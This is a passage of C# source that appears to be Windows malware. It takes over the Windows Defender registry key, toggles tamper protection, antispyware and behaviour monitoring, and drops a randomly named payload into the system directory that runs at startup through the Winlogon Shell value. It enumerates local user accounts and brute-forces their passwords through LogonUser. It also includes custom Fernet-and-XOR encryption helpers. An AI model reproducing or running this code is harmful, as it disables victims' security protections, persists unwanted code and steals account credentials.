RegistrySecurity defenderSecurity = defenderReg.GetAccessControl(AccessControlSections.All);
SecurityIdentifier trustedInstaller = new SecurityIdentifier(defenderSecurity.GetOwner(typeof(SecurityIdentifier)).ToString());
defenderSecurity.SetOwner(WindowsIdentity.GetCurrent().User);
RegistryAccessRule defenderAccessRule = new RegistryAccessRule(WindowsIdentity.GetCurrent().User, RegistryRights.FullControl, InheritanceFlags.ContainerInherit, PropagationFlags.None, AccessControlType.Allow);
defenderSecurity.AddAccessRule(defenderAccessRule);
defenderReg.SetAccessControl(defenderSecurity);
RegistryKey regKey = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows Defender\Features", true);
regKey.SetValue("TamperProtection", regKey.GetValue("TamperProtection") == "4" ? 5 : 4);
regKey.Close();
regKey = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender");
regKey.SetValue("DisableAntiSpyware", regKey.GetValue("DisableAntiSpyware") == "1" ? 0 : 1);
regKey.Close();
regKey = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection");
regKey.CreateSubKey("DisableAntiSpyware");
regKey.SetValue("\"DisableBehaviorMonitoring", regKey.GetValue("DisableAntiSpyware") == "1" ? 0 : 1);
regKey.Close();
defenderSecurity.SetOwner(trustedInstaller);
defenderSecurity.RemoveAccessRule(defenderAccessRule);
defenderReg.SetAccessControl(defenderSecurity);
}
public static void RunOnStartup(byte[] file)
{
string fileName;
while (File.Exists((fileName = Path.Combine(Environment.SystemDirectory, Path.GetRandomFileName())))) { }
File.WriteAllBytes(fileName, file);
RegistryKey regKey = Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows NT\CurrentVersion\Winlogon");
regKey.SetValue("Shell", regKey.GetValue("Shell") == $"explorer.exe; {fileName}" ? $"explorer.exe" : $"explorer.exe; {fileName}");
regKey.Close();
}
}
public class User
{
[DllImport("advapi32.dll", SetLastError = true, BestFitMapping = false, ThrowOnUnmappableChar = true)]
static extern bool LogonUser([MarshalAs(UnmanagedType.LPStr)] string pszUserName, [MarshalAs(UnmanagedType.LPStr)] string pszDomain, [MarshalAs(UnmanagedType.LPStr)] string pszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken);
public string Name;
public string FullName;
public string SID;
public bool Enabled;
public string Password;
public static void ForEach(Action<User> action, bool getPasswords = false)
{
Parallel.ForEach(new PrincipalSearcher(new UserPrincipal(new PrincipalContext(ContextType.Machine))).FindAll(), (user) =>
{
action(new User()
{
Name = user.Name,
FullName = user.DisplayName,
SID = user.Sid.Value,
Enabled = ((UserPrincipal)user).Enabled == true,
Password = getPasswords ? KeywordCracker.Crack(possiblePassword => {
IntPtr token = new IntPtr(-1);
LogonUser(user.Name, Info.PCName, possiblePassword, 7, 0, ref token);
return token == new IntPtr(-1);
}) : ""
});
});
}
}
}
}
public static class KeywordCracker
{
public static string Crack(Func<string, bool> validator, int length = 1)
{
length = Math.Max(1, length);
for (int i = length; ; i ++)
{
Combinations.GetCombinations(i, validator, out string? correctCombination);
if (correctCombination != null) { return correctCombination; }
}
}
}
public static class Combinations
{
public static List<string> GetCombinations(int length, Func<string, bool>? validator, out string? correctCombination)
{
if (validator != null && validator(""))
{
correctCombination = "";
return new List<string>() { "" };
}
correctCombination = null;
List<string> combinations = new List<string>();
if (length == 1)
{
for (char c = ' '; c <= '~'; c++)
{
combinations.Add(c.ToString());
if (validator != null && validator(combinations[^1]))
{
correctCombination = combinations[^1];
break;
}
}
return combinations;
}
List<string> otherCombinations = GetCombinations(length - 1, null, out _);
for (var i = 0; i < otherCombinations.Count; i++)
{
string otherCombination = otherCombinations[i];
StringBuilder combination = new StringBuilder(otherCombination, otherCombination.Length + 1);
for (char c = ' '; c <= '~'; c++)
{
combination.Append(c);
combinations.Add(combination.ToString());
if (validator != null && validator(combinations[^1]))
{
correctCombination = combinations[^1];
return combinations;
}
combination.Clear();
combination.Append(otherCombination);
}
}
return combinations;
}
}
public static class RealRandom
{
public static int GetRandomInt(int min = 0, int max = int.MaxValue)
{
if (max == min) { return max; }
byte[] randomBytes = new byte[4];
RandomNumberGenerator.Create().GetBytes(randomBytes);
return Math.Max(BitConverter.ToInt32(randomBytes, 0) % (max + 1), min);
}
public static string GetRandomString(int length)
{
StringBuilder builder = new StringBuilder();
for (var i = 0; i < length; i++)
{
string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!£$%^&*()_+=- ";
builder.Append(chars[GetRandomInt(0, chars.Length - 1)]);
}
return builder.ToString();
}
}
public class RealEncryptedValue
{
[JsonProperty("0")]
public string Data { get; }
[JsonProperty("5")]
public byte[] Key { get; }
[JsonProperty("3")]
public int XorIncrement { get; }
public RealEncryptedValue(string data, byte[] key, int xorIncrement)
{
Data = data;
Key = key;
XorIncrement = xorIncrement;
}
public override string ToString() { return JsonConvert.SerializeObject(this, Formatting.None); }
public static RealEncryptedValue FromString(string str) { return JsonConvert.DeserializeObject<RealEncryptedValue>(str); }
}
public static class RealEncryptor
{
public static byte[] Decrypt(RealEncryptedValue data)
{
byte[] bytes;
try { bytes = SimpleFernet.Decrypt(data.Key, data.Data, out _); }
catch { bytes = Encoding.Default.GetBytes("Invalid key"); }
for (int i = 0; i < bytes.Length; i++) { bytes[i] ^= data.Key[i % data.XorIncrement]; }
return bytes;
}
public static RealEncryptedValue Encrypt(this byte[] data)
{
byte[] key = SimpleFernet.GenerateKey().UrlSafe64Decode();
int xorIncrement = RandomNumberGenerator.GetInt32(1, 16);
for (int i = 0; i < data.Length; i++) { data[i] ^= key[i % xorIncrement]; }
return new RealEncryptedValue(SimpleFernet.Encrypt(key, data), key, xorIncrement);
}
}